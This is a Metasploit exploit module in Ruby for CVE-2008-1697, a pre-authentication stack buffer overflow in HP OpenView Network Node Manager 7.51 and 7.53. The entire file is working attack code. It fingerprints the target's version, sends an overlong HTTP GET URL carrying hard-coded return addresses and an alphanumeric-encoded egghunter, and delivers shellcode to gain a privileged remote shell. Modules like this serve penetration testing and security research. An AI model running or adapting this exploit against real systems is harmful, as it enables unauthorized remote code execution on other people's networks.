require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager versions 7.53 and earlier.
Specifically this vulnerability is caused by a failure to properly handle user supplied input within the
HTTP request including headers and the actual URL GET request.
Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode
which was alphanumeric encoded by muts in the original exploit.
If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process
as soon as possible. Any connections get reset after a short period of time. This is probably some timeout
handling code that causes this.
},
'Author' =>
[
'bannedit',
'muts'
],
'Version' => '$Revision: 10660 $',
'References' =>
[
[ 'CVE', '2008-1697' ],
[ 'OSVDB', '43992' ],
[ 'BID', '28569' ],
],
'DefaultOptions' =>
{
'WfsDelay' => 45,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x0a\x0d\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
[ 'Automatic Targeting',
{
'auto' => true
}
],
[ 'Windows 2003/zip.dll OpenView 7.53',
{
'Ret' => 0x6d633757
}
],
[ 'Windows 2000/jvm.dll OpenView NNM 7.51',
{
'Ret' => 0x6d356c6e
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 02 2008'))
register_options(
[
Opt::RPORT(7510),
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N' ])
], self.class)
end
def exploit
targ = target
if (target['auto'])
print_status("Detecting the remote version...")
resp = send_request_raw({'uri' => '/topology/home'}, 5)
if resp.nil?
print_status("No response to request")
return Exploit::CheckCode::Safe
end
case resp.body
when /NNM Release B.07.53/
targ = targets[1]
when /NNM Release B.07.51/
targ = targets[2]
else
raise RuntimeError, "Unable to determine a target automatically..."
end
end
print_status("Using target: #{targ.name}")
exploit_target(targ)
end
def exploit_target(targ)
egghunter =
'%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J'+
'MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5'+
'21*-q!au-q!au-oGSePAA%JMNU%521*-D'+
'A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1'+
'z1E-oRHEPAA%JMNU%521*-3s1--331--^'+
'TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA'+
'A%JMNU%521*-R222-1111-nZJ2PAA%JMN'+
'U%521*-1-wD-1-wD-8$GwP'
print_status("Constructing the malformed http request")
buf = "http://"
buf << "\xeb" * 1101
buf << "\x41" * 4
buf << "\x77\x21"
buf << [targ.ret].pack('V')
buf << "G" * 32
buf << egghunter
buf << "\x41" * 100
buf << ":#{datastore['RPORT']}"
payload_buf = "T00WT00W" + make_nops(34) + "\x83\xc4\x03" + payload.encoded
begin
connect
resp = send_request_raw({
'uri' => buf + "/topology/home",
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => datastore['UserAgent'],
},
'data' => payload_buf
})
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
end
if not resp.nil?
raise RuntimeError, "The server responded, that wasn't supposed to happen!"
end
print_status("Malformed http request sent.")
print_status("Now we wait for the egg hunter to work it's magic. thx skape!")
handler
disconnect
end
def check
resp = send_request_raw({'uri' => '/topology/home'}, 5)
if resp.nil?
print_status("No response to request")
return Exploit::CheckCode::Safe
end
if (resp.body =~ /NNM Release B.07.53/ || resp.body =~ /NNM Release B.07.52/ || resp.body =~ /NNM Release B.07.51/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
end